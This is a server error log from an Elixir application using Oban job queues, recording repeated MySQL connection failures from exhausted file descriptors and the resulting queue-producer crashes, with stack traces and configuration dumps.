[Sat Sep  5 22:43:04.997000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:43:08.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1020ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:42:56.244810Z], limit: 50, uuid: "38a5e41c-cc9a-48f5-ad2b-e54e27e9a647", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:42:56.244815Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.210941>, refresh_timer: #Reference<0.2525715032.1068236804.233346>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:43:08.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1008ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:42:56.247437Z], limit: 20, uuid: "98af3dad-4424-47b3-ac2f-3850cdca7b70", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:42:56.247443Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.210937>, refresh_timer: #Reference<0.2525715032.1068236804.233365>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:43:08.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1074ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:42:56.244610Z], limit: 5, uuid: "33d673e6-1db1-4e08-81ed-a96211aac71b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:42:56.244617Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.210939>, refresh_timer: #Reference<0.2525715032.1068236804.233345>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:43:08.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 837ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:42:56.246184Z], limit: 3, uuid: "aea5a479-1277-484c-a37a-bd565eba2471", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:42:56.246190Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.210936>, refresh_timer: #Reference<0.2525715032.1077411843.210922>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:43:08.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 814ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:42:56.244984Z], limit: 10, uuid: "d1fc9970-c036-4488-a21d-0f56f9bfae08", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:42:56.244990Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.210938>, refresh_timer: #Reference<0.2525715032.1068236804.233347>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:43:08.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 806ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:42:56.239361Z], limit: 5, uuid: "b17fe9a4-c847-4c83-8394-aec66934aa69", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:42:56.239370Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.210940>, refresh_timer: #Reference<0.2525715032.1068236804.233350>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:43:08.413000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:43:08.428000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:43:10.186000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:43:12.636000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:43:12.766000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:43:18.016000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:43:20.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 839ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:43:08.239086Z], limit: 20, uuid: "deef864b-38ca-4bfc-906e-b6e08bfe20a8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:43:08.239091Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.241859>, refresh_timer: #Reference<0.2525715032.1099169794.241816>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:43:20.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1024ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:43:08.239361Z], limit: 5, uuid: "f77cb5e2-ae5b-4150-999b-9677e56987ba", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:43:08.239366Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.211318>, refresh_timer: #Reference<0.2525715032.1099169794.241837>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:43:20.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 816ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
